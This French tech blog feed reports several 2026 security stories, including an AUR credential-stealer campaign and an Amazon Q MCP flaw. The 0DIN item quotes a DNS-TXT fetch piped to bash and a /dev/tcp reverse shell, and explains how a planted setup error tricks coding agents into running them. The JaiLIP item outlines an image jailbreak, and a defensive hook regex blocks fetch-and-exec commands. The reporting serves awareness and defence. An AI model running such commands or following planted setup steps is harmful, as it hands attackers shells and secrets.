Si vous utilisez Hide My Email d'Apple pour éviter de balancer votre vraie adresse mail à tous les sites qui vous la réclament, j'ai une mauvaise nouvelle les amis ! Tyler Murphy, cofondateur d'EasyOptOuts a découvert une entourloupe qui permettrait de remonter jusqu'à votre vraie adresse email... Ça craint ! Et cette faille serait dans la nature depuis plus d'un an !

Argh !

Alors petit rappel pour ceux qui ne connaissent pas Hide My Email. C'est une fonction liée à iCloud+ qui vous permet de générer des adresses jetables en @icloud.com. Vous vous inscrivez quelque part avec un alias bidon, et ensuite les mails sont redirigés vers votre boîte réelle, et comme ça le site ne voit jamais votre adresse perso. Mais dans ses tests d'exploitation, Tyler Murphy a eu un taux de succès de 100% avec tous ces alias révélant leur vrai propriétaire. Donc si vous avez des alias Hide My Email en cours d'usage, partez du principe qu'ils sont peut-être grillés.

C'est 404 Media, qui a sorti l'info, et malheureusement, ils ne détaillent pas la technique parce que pour le moment, ça fonctionne encore et ce n'est pas patché. Faut dire qu'une fois votre vraie adresse récupérée par quelqu'un de mal intentionné, celui-ci peut la recouper du contenu trouvable en ligne ou sur le dark net pour retrouver votre nom, vos autres comptes, et tout ce que Hide My Email était censé empêcher.

Mais le plus gênant dans cette histoire, c'est la gestion merdique du problème par Apple. En effet, Murphy signale le bug en juin 2024 et Apple répond un mois plus tard qu'ils ont lancé une enquête en interne. Puis en mars de cette année, ils annoncent avoir corrigé le souci, sauf que non. Murphy vérifie et la faille est toujours là. Alors en mai, Apple change de disque et lui demande carrément de la fermer : "nous vous serions reconnaissants de ne pas divulguer ces informations tant que notre enquête n'est pas terminée". Bref, taisez-vous pendant qu'on ne corrige rien ^^.

Alors le gars en a eu marre. Il a estimé que les utilisateurs de Hide My Email méritaient de savoir alors il a décidé de parler et je pense que pour ça, on peut le remercier ! Apple va peut-être finir par se bouger le cul.

Et nous en attendant, on fait quoi alors ? Hé bien pas grand-chose parce que tant que côté Apple y'a pas de patch, y'a rien à faire. Mais sachez le, rien ne vous oblige à mettre tous vos œufs dans le même panier donc si vous voulez des alias sur lesquels vous gardez vraiment la main, il existe des solutions maison comme générer vos propres adresses jetables via Cloudflare avec votre nom de domaine ou encore passer par la crème de la crème des services d'emails jetables .

Source : 404 Media

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

Md Jueal Mia et Hadi Amini, deux chercheurs de Florida International University , ont mis au point une méthode qu'ils ont baptisée JaiLIP qui permet de forger une image capable de contourner les garde-fous des LLM pour les jailbreaker.

Pour cela, ils utilisent 2 techniques en simultanée. La première dit à l'image "reste identique à l'originale, qu'aucun humain ne voie la moindre différence" et la seconde dit "pousse le modèle à cracher la réponse interdite". Ainsi, en poussant ces 2 curseurs d'un coup, ils obtiennent une photo qui au premier abord a l'air normale mais qui fait dérailler les modèles IA.

Vous, vous repérez un chat, des contours, une scène et vous lui courez derrière pour lui faire des papouilles. L'IA, elle voit une grille de chiffres et des corrélations entre pixels. Du coup sa vie est nulle mais surtout, une retouche minuscule, totalement invisible à votre œil, suffit à déplacer ce qu'elle comprend de l'image.

Sur leurs tests, l'image trafiquée a quasiment doublé la part de réponses dangereuses par rapport à la même image laissée intacte, la toxicité étant mesurée avec des outils standards du domaine. Dans l'un de leurs exemples, ils ont trafiqué une image de signalisation routière qui a permis au modèle ensuite d'expliquer OKLM comment ignorer les règles de circulation et éviter les PV.

Les chercheurs ont testé l'attaque sur deux modèles vision-langage open source, BLIP-2 et MiniGPT-4. GPT-4V, Gemini et les autres gros modèles fermés, eux, n'ont pas été testés dans l'étude. Donc non, contrairement à ce que j'ai pu lire par ci et par là, ce n'est pas une faille prouvée dans ChatGPT ou peu importe l'assistant IA que vous utilisez tous les jours.

Et tromper une IA avec une image bricolée, ça existe depuis une bonne dizaine d'années. Mais la nouveauté de JaiLIP, c'est surtout sa recette d'optimisation. En jouant sur les deux pertes à la fois, l'image reste plus discrète à l'œil tout en se montrant un cran plus efficace que les bidouilles précédentes.

Et ce genre de détournement nous concerne tous parce que des modèles qui regardent des images, il y en a partout maintenant. Les agents IA qui bossent à partir de captures d'écran, les assistants à qui vous balancez vos photos, sans oublier la modération automatique qui trie les images avant publication. À cause de ça, l'image est dorénavant un canal d'attaque, exactement comme l'était déjà le texte...

On l'a vu avec le son inaudible qui pirate les assistants vocaux , on l'a vu avec les IA qu'on manipule sans qu'elles s'en aperçoivent , et c'est toujours la même logique qui revient. Ce n'est pas parce qu'en tant qu'humain, nous ne percevons rien, que l'IA elle n'est pas capable de capter le message 5/5.

Le cousin de cette attaque, côté perception, c'est par exemple le sticker qui trompe une voiture autonome . Et côté parade, nos chercheurs esquissent une piste légère : virer au hasard 10 à 30% des mots passés en entrée, histoire de casser l'attaque sans réentraîner le modèle.

Prometteur d'après eux, mais c'est pas encore une solution blindée. Pour le reste, leurs conseils tiennent du bon sens : Ne passez pas d'infos sensibles en image à un modèle, limitez qui peut envoyer des images à vos systèmes, et auditez sérieusement la sécurité avant de mettre un VLM en prod.

C'est pas le graal mais c'est mieux que rien. Bref méfiez vous des images que vous donnez à vos IA. On ne sait jamais.

Source : le papier JaiLIP sur arXiv

Amazon Q, l'assistant de programmation dopé à l'IA que propose Amazon, pouvait se faire piéger d'une manière aussi simple qu'embarrassante.

Petit rappel pour situer. Amazon Q se greffe dans Visual Studio Code, l'éditeur de code de Microsoft que les développeurs utilisent au quotidien, et sert à écrire ou corriger du code à votre place.

Des chercheurs de Wiz, une société spécialisée dans la sécurité du cloud, ont découvert que cet assistant exécutait des commandes cachées à la simple ouverture d'un projet. La faille a reçu un identifiant officiel, CVE-2026-12957, et une note de gravité de 8,5 sur 10, ce qui est sérieux.

Le problème venait d'un fichier de configuration un peu particulier. Pour fonctionner, Amazon Q lit un fichier nommé .amazonq/mcp.json, qui s'appuie sur le MCP, pour Model Context Protocol, une sorte de prise standardisée qui permet de brancher une IA sur des outils extérieurs.

Sauf qu'il suffisait d'ouvrir un dépôt de code et d'activer Amazon Q pour que l'extension aille lire ce fichier et exécute son contenu. Sans fenêtre de confirmation, sans demander votre avis, et sans vérifier si vous faisiez confiance au dossier que vous veniez d'ouvrir.

Et c'est là que ça devient vraiment fourbe. Ces commandes héritaient de tout votre environnement de travail. Du coup, elles pouvaient récupérer au passage vos clés d'accès au cloud d'Amazon, vos jetons de connexion, vos secrets d'API et même l'accès à votre agent SSH, ce trousseau qui garde en mémoire vos connexions aux serveurs distants. En clair, tout ce qu'un développeur laisse ouvert pendant qu'il travaille.

Le plus gênant, c'est que Visual Studio Code possède justement une sécurité prévue pour ça, la confiance d'espace de travail, qui vous demande si vous validez un dossier avant de le laisser agir. L'extension d'Amazon passait tout bonnement par-dessus.

Pour un pirate, le piège était facile à tendre. Il suffisait de glisser ce fichier dans un projet open source d'apparence anodine, ou dans un bout de code partagé sur un forum, et d'attendre qu'un développeur qui récupère un projet l'ouvre pour voir comment il fonctionne.

Amazon a corrigé le tir dans la version 1.65.0 de son serveur de langage et a confirmé la correction. Wiz note d'ailleurs que des failles très proches ont déjà touché d'autres outils de code boostés à l'IA.

Donner autant de pouvoir à une IA sans le moindre garde-fou, et laisser filer les clés du cloud avec, ça reste une erreur de débutant pour un géant comme Amazon.

Source : The Register

Une faille très bien planquée dans le code depuis 1997, vient seulement d'être corrigée. Elle s'appelle Squidbleed, référencée comme CVE-2026-47729, et elle touche Squid, un serveur proxy open source que des entreprises, des écoles et des fournisseurs d'accès utilisent depuis des lustres pour mettre en cache, filtrer et surveiller le trafic réseau qui transite chez chez eux.

Et ça fuite fort en fait. Un individu malveillant, qui serait déjà autorisé à passer par le même proxy, peut récupérer la requête HTTP en clair d'un autre utilisateur, avec tout ce qu'elle transporte au passage : mots de passe, clés d'API, cookies de session, et j'en passe. De quoi se faire passer pour la victime sans jamais avoir eu à connaître son mot de passe. Les chercheurs parlent d'un cousin de Heartbleed, la grande fuite mémoire de 2014, sauf que celle-ci vise spécifiquement le trafic non chiffré, l'HTTPS restant à l'abri dans son tunnel.

Comment un bug pareil a-t-il pu survivre presque trente ans de relectures ? Tout part d'une rustine ajoutée en 1997 pour gérer de vieux serveurs FTP NetWare qui bourraient leurs listings d'espaces en trop. Le code de Squid saute ces espaces dans une boucle. Sauf que voilà, quand le serveur d'en face ne renvoie aucun nom de fichier après l'horodatage, la fonction strchr, censée signaler la fin de la chaîne de caractères, renvoie en fait un pointeur valide au lieu du NULL que tout le monde attendait. La boucle continue, déborde du tampon mémoire et recrache au passage des morceaux de mémoire voisine, là où dormait justement la requête d'un autre internaute.

L'ironie, c'est que cette zone n'est jamais remise à zéro avant d'être réutilisée. Un tampon de 4 Ko qui contenait il y a un instant la requête d'une victime en garde donc l'essentiel, prêt à repartir vers l'attaquant comme s'il s'agissait d'un banal nom de fichier.

La découverte, elle, dit quelque chose de l'époque. Lam Jun Rong, chercheur chez Calif.io, n'a pas trouvé la faille tout seul : il bossait lui aussi avec Claude Mythos Preview, l'outil d'IA d'Anthropic qui a fini par être désactivé. En lui demandant d'explorer le comportement complet de la machine à états FTP, l'IA a mis le doigt sur ce cas tordu de strchr, en citant de mémoire la norme du langage C. Comme elle a avalé tout le standard, ce piège pourtant connu n'était pour elle qu'un fait parmi d'autres. Peu de développeurs humains auraient parié là-dessus, ce qui explique sans doute comment un bug d'une seule ligne a traversé trente ans de revue de code.

Côté correctif, Squid 7.6 est sorti le 8 juin et ajoute la vérification qui manquait. Vous pouvez aussi tout simplement couper le support FTP, dont plus personne ne se sert vraiment depuis que les navigateurs l'ont abandonné. Le bug avait été signalé dès avril.

Bref, encore une faille prise en charge par une IA, ça devient une habitude.

Source : https://blog.calif.io/p/squidbleed-cve-2026-47729

https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/5260367

On savait que les modèles d'IA savaient écrire du code, on découvre cette année, de plus en plus qu'ils savent aussi le casser à une échelle qui dépasse l'entendement, et le projet fwupd vient d'en faire les frais d'une manière assez spectaculaire avec sa version 2.0.21, qui rattrape à elle seule plus de 250 problèmes de sécurité potentiels détectés sur les trois derniers mois, par des scanners de vulnérabilités pilotés par l'intelligence artificielle.

Derrière cette vague de correctifs, il y a surtout Mythos, le modèle développé par Anthropic, retiré depuis sur ordre des autorités américaines, et entraîné spécifiquement pour fouiller du code à la recherche de failles exploitables. Et les chiffres de son programme baptisé Project Glasswing donnent le vertige, puisqu'en passant au peigne fin plus de 1000 projets open source, Mythos a pointé environ 23 000 vulnérabilités potentielles, dont près de 1700 ont déjà été confirmées par des sociétés de sécurité externes et plus de 1000 classées graves ou critiques.

fwupd, c'est justement l'un de ces projets passés au crible. Pour rappel, ce logiciel libre est la brique qui s'occupe de mettre à jour le firmware de vos machines sous Linux (le firmware, c'est le petit programme gravé au plus près du matériel, dans la carte mère ou le SSD, et qui démarre avant même le système d'exploitation). Il alimente le LVFS (Linux Vendor Firmware Service), une sorte de magasin centralisé où les fabricants déposent leurs mises à jour, et d'où des millions de PC sous Linux viennent piocher de quoi se mettre à niveau sans bricoler dans le BIOS.

C'est Richard Hughes, le développeur de Red Hat qui pilote fwupd depuis des années, qui a fait le ménage. La 2.0.21 n'apporte volontairement aucune fonctionnalité nouvelle, puisque Hughes s'est contenté de rapatrier les correctifs déjà passés dans la branche récente 2.1.x vers la vieille branche 2.0.x, celle sur laquelle restent accrochées les distributions stables qui n'aiment pas changer de version dans leurs dépôts officiels, du genre Debian ou les déclinaisons pensées pour l'entreprise. Du coup, même les serveurs et les postes figés sur du logiciel volontairement ancien profitent du nettoyage.

Alors il faut quand même relativiser. Sur ces 250 problèmes, on parle de soucis potentiels, pas de portes grandes ouvertes activement exploitées par des pirates, et une bonne partie ne serait sans doute jamais devenue une vraie attaque dans la nature. Sauf que voilà, fwupd est un composant qui s'exécute avec les pleins pouvoirs (root) et qui avale des fichiers de firmware fournis par des tiers. Un bug dans sa façon de lire ces fichiers, et c'est potentiellement la machine entière qui tombe, voire un firmware vérolé qui finit gravé dans le matériel, là où aucun antivirus ne va jamais regarder.

(Mise à jour : au passage j'avais conclu n'importe quoi dans la précédente version de l'article, puisque j'avais écrit que les failles étaient dans le firmware, ce qui est bien sûr une erreur, merci au lecteur qui nous l'a fait remarquer !)

Source : Phoronix

Environ 75 000 pare-feu Fortinet ont vu leurs identifiants de connexion volés puis vérifiés un par un, des FortiGate, ces boîtiers qui filtrent l'accès au réseau des entreprises et servent très souvent de porte d'entrée VPN pour les salariés en télétravail.

Baptisée FortiBleed par les chercheurs qui l'ont mise au jour, la campagne couvre 194 pays et plus de 21 000 domaines, soit à peu près la moitié des pare-feu Fortinet exposés sur Internet à l'heure actuelle.

Parmi les organisations dont les accès se sont retrouvés dans la nature, on relève des noms qui n'ont rien d'amateur en matière de sécurité : Foxconn, Samsung, Comcast, Siemens, Lenovo, FedEx, Accenture ou encore Oracle.

Toute l'ironie de l'affaire tient là : le pare-feu, l'appareil précisément chargé de tenir les intrus à l'écart du réseau, s'est transformé en point d'entrée qui leur a ouvert la porte en grand.

Sur le plan technique, les attaquants interceptaient l'authentification du SSL VPN, cet accès distant chiffré qui permet de rejoindre le réseau interne d'une entreprise depuis l'extérieur, récupéraient l'empreinte chiffrée des mots de passe et la cassaient sur une grappe de 45 cartes graphiques pilotée par l'outil Hashtopolis, avant de basculer vers l'Active Directory, l'annuaire qui gère l'ensemble des comptes Windows de l'organisation.

Les volumes traités donnent la mesure de l'opération : 1,16 milliard de tentatives de connexion lancées contre 320 000 équipements FortiGate, et 2,1 milliards d'autres dirigées en parallèle vers 160 000 serveurs de bases de données Microsoft.

Au moins quatre organisations ont été entièrement compromises, avec déplacement des attaquants d'une machine à l'autre à l'intérieur du réseau, au Japon, à Taïwan, au Vietnam, en Irak et en Turquie. Le cas le plus sérieux touche un sous-traitant turc de la défense, membre de l'OTAN, chez qui des documents classifiés ont été volés. Tout ça est attribué à un groupe cybercriminel russophone à plusieurs opérateurs.

C'est le chercheur Bob Diachenko qui a repéré les intrusions, avant que Hudson Rock (une société spécialisée dans l'analyse des données aspirées par les logiciels espions) ne décortique le tout et que Kevin Beaumont confirme que les identifiants étaient bien valides.

Hudson Rock a d'ailleurs mis en ligne une liste des domaines concernés, histoire que chaque entreprise vérifie si elle figure au tableau de chasse.

Fortinet, de son côté, minimise et parle d'un recyclage de données issues d'incidents passés et de simples attaques par force brute, pas d'une nouvelle faille dans ses produits.

Sauf que voilà : la plupart des boîtiers concernés sont toujours en ligne. Recyclées ou pas, ces données ouvrent une porte bien réelle tant que les mots de passe VPN et administrateur n'ont pas été changés, et changer tous les accès d'un pare-feu dans une grande organisation ne se fait pas en claquant des doigts.

Bref, faille ou vieux stock recyclé, ça ne change rien pour les boîtes touchées : on change les mots de passe VPN tout de suite, et on active la double authentification.

Source : The Register

Une seule petite ligne de code envoyée au mauvais endroit pouvait transformer un Surface Laptop en bloc de métal inutilisable. C'est sur cette faille que Microsoft a discrètement travaillé pendant trois mois, avant qu'elle ne soit rendue publique le 12 juin.

L'histoire commence de façon assez improbable. Jack Darcy, un chercheur en sécurité australien, a demandé à Microsoft Copilot (l'assistant IA intégré à Windows) de régler le rétroéclairage de son écran, rien de dingue donc. Bien gentil, Copilot écrit tout seul un script Python, l'exécute, et la paf, il rend l'ordinateur totalement inopérant. Plus de démarrage, plus d'accès au BIOS, rien, queudalle.

En creusant, Darcy comprend ce qui vient de se passer. Le script a écrit n'importe quoi dans le firmware du SAM, le Surface Aggregator Microcontroller, cette petite puce qui coordonne le matériel sur les Surface : alimentation, ventilateurs, clavier, capteurs. Une fois sa mémoire corrompue, la machine ne sait tout simplement plus démarrer.

Le problème de fond, c'est que cette puce n'avait aucun garde-fou. Elle acceptait n'importe quelle valeur en écriture sans vérifier si elle avait le moindre sens. Pire, les commandes de lecture et celles d'écriture partageaient la même numérotation, ce qui rendait toute exploration prudente impossible. "Vous ne pouvez littéralement pas scanner deux commandes qui se suivent sans une chance sur deux de tomber sur une commande d'écriture", résume Darcy.

Du coup, un seul paquet expédié pouvait griller la carte mère pour de bon. Aucune réparation logicielle, aucune réinitialisation d'usine, aucun accès USB de secours : direction le remplacement complet de la carte mère, soit plusieurs centaines d'euros.

Tout n'est pas si noir quand même. Pour déclencher la catastrophe, il fallait déjà disposer des droits administrateur sur la machine et avoir désactivé Secure Boot et Secure Core, les deux protections activées par défaut sur les Surface. Autrement dit, un parc d'entreprise géré normalement ne risquait rien, et les seules machines réellement exposées étaient celles des bidouilleurs tournant sous Linux, en configuration gaming allégée ou avec des pilotes maison.

Les modèles concernés vont du Surface Laptop 3 au Surface Laptop 6 et du Surface Book 1 au Surface Book 3. Les Surface Go semblent épargnés, et les versions ARM n'ont pas été testées.

Côté correctif, Microsoft a plutôt bien joué le jeu. Prévenu le 10 mars, l'éditeur a reconnu le défaut puis déployé des mises à jour de firmware via Windows Update dès le mois de mars, si bien que la grande majorité des appareils touchés sont désormais protégés. Darcy a récupéré un Surface tout neuf pour le dédommager.

Un point chiffonne quand même. Microsoft a refusé d'attribuer un CVE, l'identifiant officiel qui répertorie une faille de sécurité, estimant que le bug "n'atteignait pas le seuil" requis. Pour un défaut capable de tuer une machine de façon irréversible, l'argument laisse songeur.

Pour la suite, Redmond mise sur le langage Rust, réputé pour empêcher ce genre de débordements mémoire. Le firmware embarqué est en cours de réécriture intégrale, baptisée "Secure EC", tout comme une partie de l'UEFI sous le nom de "Project Patina".

Bref, un Copilot qui brique tout seul le PC sur lequel il tourne, voilà une démo involontaire dont Microsoft se serait bien passé.

Source : The Register

Avis aux fans de foot parmi vous qui comptent regarder cette Coupe du Monde 2026, j'ai une bonne et une mauvaise nouvelle à vous annoncer ! Non, je déconne, je n'ai que des mauvaises nouvelles à vous annoncer !

La première, c'est qu'un chercheur en sécurité qui se fait appeler BobDaHacker s'est inscrit comme agent de joueurs sur la plateforme publique de la FIFA, et s'est retrouvé, quelques clics plus tard, à prendre possession des commandes de TOUS LES FLUX caméra de la Coupe du Monde ! Oui, tous ces flux en direct diffusés sur toutes les chaînes du monde.

La deuxième mauvaise nouvelle, c'est que la FIFA n'a jamais pris la peine de lui répondre parce que visiblement, elle s'en branle que quelqu'un hack ses flux vidéo.

Et le pire les amis, c'est que c'était super fastoche à faire....

Tout commence donc sur le site agents.fifa.org, un portail où n'importe qui peut demander une licence d'agent en uploadant une pièce d'identité. BobDaHacker s'execute et après 2 refus pour une photo de mauvaise qualité, une troisième tentative est alors validée, et hop, notre chercheur en sécurité se retrouve automatiquement ajouté à l'annuaire d'identités de la FIFA. Avec ce sésame, il peut alors accéder à la "Football Data Platform", puis au panneau de gestion du streaming.

A partir de là, l'appli Angular du service lui affiche un joli "access denied"... sauf que c'est du flan car, tenez vous bien, le contrôle d'accès fonctionne côté client. Ouais, ouais, c'est de la folie. En fait, les APIs derrière acceptent gentiment n'importe quelle requête authentifiée sans jamais vérifier votre rôle.

Et au moment où il ouvre l'outil de gestion du streaming, le gars hallucine !! Devant lui, il peut voir chaque match du Mondial 2026 avec ses 5 flux caméra : le programme principal, le flux tactique, la Camera1 et les deux caméras placées en hauteur derrière les buts. Pour chacun d'entre eux, il y a l'adresse d'envoi du flux vidéo (l'URL RTMP d'ingestion), le manifest de preview et la sortie HLS.

Alors histoire d'être sûr de ne pas halluciner, il colle un des liens dans VLC et le flux vidéo s'affiche en live !

Pour bien comprendre l'enjeu, cette diffusion du Mondial est gérée par HBS, qui couvre 104 matchs dans 16 villes réparties entre les États-Unis, le Canada et le Mexique, avec 45 caméras par match. Ce sont littéralement les images que des milliards de gens, vous compris (mais pas moi), allez regarder. Et tout cela se monnaye à prix fort avec les chaines de TV par exemple.

Ce bon vieux BobDaHacker aurait pu balancer un rick roll, une vidéo de fesses, ou un faux discours de Trump annonçant l'arrivée des extraterrestre en direct, sur toutes les chaînes télé de la planète. Ou même tout couper...

Mais il ne l'a pas fait parce que c'est un professionnel ! (Sans parler de la certitude de finir en zonzon ^^.)

En prime, il pouvait aussi modifier les statistiques diffusées en temps réel, lire les notes préparées des commentateurs, et fouiller dans les fichiers planqués dans un blob storage Azure, à savoir des rapports de transferts, des comparatifs de revenus, des stats des arbitres et des coachs, et un mystérieux Debbie.xlsx dont on ne connaitra jamais le contenu...

Je me demande quand même dans quelle mesure, les mafias de l'IPTV n'étaient pas déjà au courant de ce "bug"... On ne le saura jamais.

Mais pour BobDaHacker, c'est là que commence la vraie galère, celle qui dure toute la nuit, parce que prévenir la FIFA d'un truc pareil, ça devrait être simple et pourtant, ça ne l'est pas du tout.

Il balance son rapport à plus de 10 adresses email de la FIFA, et 5 lui reviennent en erreur. Il tente alors un WhatsApp au responsable Football Technology & Data de la boîte, mais sans succès. Il appelle ensuite les bureaux de Zurich, mais pas de bol c'est fermé. Même la ligne téléphonique réservée à la presse est fermée aussi. Il laisse alors un simple message vocal au centre de diffusion de Dallas.

Et finalement, c'est MediaKind, le prestataire technique du streaming, qui décroche en pleine nuit. Puis la CISA américaine, dont la hotline 24/7 l'accueille plutôt bien. Et enfin le FBI, qu'il contacte carrément sur Signal.

Évidemment, la FIFA a été informée en suivant la règle du responsible disclosure et tout a été patché très rapidement.

Mais bizarrement, à ce jour, la FIFA n'a jamais répondu. Pas un merci, pas même un "vu". Voilà, le gars aura sauvé la Coupe du Monde mais n'aura même pas le droit à 2 places offertes pour aller voir un match, ni même une tape sur l'épaule.

La blague, c'est qu'ils ont même oublié de le retirer de la liste de diffusion de la Football Data Platform, du coup, il reçoit encore aujourd'hui les documents officiels des matchs du Mondial 2026 dans sa boîte mail.

Toute une analyse a été postée sur le blog du chercheur et je vous invite à la lire, parce que c'est un cas d'école.

Bravo à BobDaHacker qui a sans doute évité gratuitement l'un des plus gros bad buzz de l'histoire du foot.

MÀJ du 12 juin : quand j'ai publié cet article, on en était à 400 paquets vérolés. Sauf que le chiffre n'a pas arrêté de grimper dans la journée. Quelques heures plus tard on parlait de 900, puis en fin de journée la liste recensait déjà 1579 paquets touchés, et les devs d'Arch précisent eux-mêmes que cette liste contient "beaucoup, mais pas tous" les paquets concernés. Bref, le décompte bouge en permanence, et il a même été suivi d'une seconde vague d'attaque encore plus sophistiquée. Donc si vous voyez circuler 400, 1500 ou 2000, c'est juste que chacun a pris la photo à un instant différent. La bonne nouvelle, c'est que les développeurs d'Arch ont depuis supprimé tous les commits malveillants qu'ils ont identifiés et estiment l'incident sous contrôle.

Si vous tournez sous Arch Linux et que vous piochez vos paquets dans l'AUR, lâchez ce que vous faites 2 minutes et lisez mon article. Car plus de 400 paquets de l'Arch User Repository ont été vérolés ce 11 juin, et le truc qu'ils embarquent ne rigole pas du tout. En effet, des chercheurs de Sonatype ont repéré une campagne baptisée Atomic Arch où un seul attaquant a réussi à glisser un stealer (un voleur d'identifiants quoi) dans des centaines de paquets d'un coup.

Mais bonne nouvelle avant de paniquer quand même, les dépôts officiels d'Arch (core, extra, multilib) ne sont pas concernés. C'est l'AUR, et uniquement l'AUR.

Si vous avez installé ou mis à jour un paquet AUR ces derniers jours, vous devez donc vérifier si vous n'êtes pas infecté. Des noms comme alvr, gnome-randr-rust ou ipfs-desktop-bin font partie de la liste, et elle est sacrément longue. Le signe qui doit vous mettre la puce à l'oreille, c'est par exemple un paquet qui n'a rien à voir avec du JavaScript et qui se mettrait pourtant à lancer un npm install durant son installation.

Pour sortir la liste de tout ce qui vient de l'AUR sur votre machine, un petit pacman -Qm fera le job, et le forum de CachyOS propose également un script qui compare vos paquets à la liste des vérolés connus. Méfiez-vous quand même, car ce script repère juste les noms de paquets piégés, et ne vérifie pas l'intégrité de votre système. Un résultat propre veut dire qu'aucun paquet connu n'est installé chez vous, mais pas que vous êtes tiré d'affaire, alors on reste concentré.

Alors comment ce malware s'est retrouvé dans autant de paquets ?

Eh bien l'attaquant n'a même pas eu besoin de pirater quoi que ce soit puisque l'AUR permet à n'importe qui "d'adopter" les paquets orphelins, c'est-à-dire ceux que leur mainteneur d'origine a laissés tomber. Il a donc récupéré la propriété de centaines de ces paquets abandonnés via la procédure normale, puis modifié leur PKGBUILD pour qu'à l'installation, un hook télécharge en douce un paquet npm piégé du genre atomic-lockfile. Ce paquet déploie ensuite un binaire baptisé deps, et ce deps, c'est une vraie saloperie.

Parce que ce deps, comme je vous le disais, c'est un voleur d'identifiants mais vraiment taillé pour cibler les développeurs. Dans le dos de la victime, il récupère vos clés SSH privées, vos tokens GitHub, vos identifiants npm, Docker et Podman, vos tokens HashiCorp Vault, les cookies et mots de passe de vos navigateurs, vos sessions Slack, Discord ou Telegram, vos configs VPN et même tout votre historique de commandes shell. En clair, toutes les clés de votre vie de dev qui, une fois dans la nature, ouvrent grand la porte vers d'autres systèmes.

Et si vous avez lancé le paquet en root, il installe en prime un rootkit eBPF qui se planque carrément dans le noyau pour masquer ses processus. Le fonctionnement même de ce truc fait alors qu'il est quasi impossible de détecter à l'œil nu si on est infecté ou pas. On est sur la même logique que le ver Shai-Hulud planqué dans des paquets , sauf qu'ici l'échelle a pris une autre dimension.

Alors que faire pour se protéger ?

Eh bien si vous avez le moindre doute, partez du principe que la machine est compromise, surtout si le paquet a tourné avec les droits root. Et supprimer le paquet ne suffira pas car le rootkit, lui, reste planté.

